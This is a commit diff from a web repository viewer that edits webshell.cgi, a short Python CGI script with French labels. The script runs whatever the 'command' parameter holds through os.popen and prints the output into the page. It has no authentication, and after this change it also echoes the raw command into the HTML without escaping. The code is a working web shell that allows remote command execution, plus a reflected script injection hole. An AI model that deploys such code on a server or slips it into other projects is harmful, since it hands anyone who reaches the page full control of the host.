summaryrefslogtreecommitdiff
path: root/html
diff options
context:
space:
mode:
Diffstat (limited to 'html')
-rwxr-xr-xhtml/cgi-bin/webshell.cgi20
1 files changed, 9 insertions, 11 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index 989085e..0ef300b 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -9,11 +9,6 @@ import os
form = cgi.FieldStorage()
if form.getvalue('command'):
cmd = form.getvalue('command')
-else:
- cmd = ":"
-user = os.getlogin()
-host = os.environ.get('SERVER_NAME')
-pwd = os.environ.get('PWD')
print("Content-Type: text/html; charset=UTF-8\n\n")
print ("""
@@ -23,16 +18,19 @@ print ("""
</head>
<body>
<h1>Web shell</h1>
-<p>Entrez votre commande : </p>
+<p>Votre commande :
+""")
+if cmd : print(cmd)
+print("""
+</p>
<form action=''>
<input type='text' name='command' id='command' />
-<input type='submit' value='submit' />
-</form>""")
+</form>
+""")
if cmd :
- print("<pre style='display:inline-block;min-width:50em;padding:1em;background-color:black;color:white'>")
- print(f"{user}@{host}:{pwd}$ {cmd}\n{os.popen(cmd).read()}")
+ print("<pre>")
+ print(os.popen(cmd).read())
print("</pre>")
print("""
-<script>document.getElementById("command").focus()</script>
</body>
</html>""")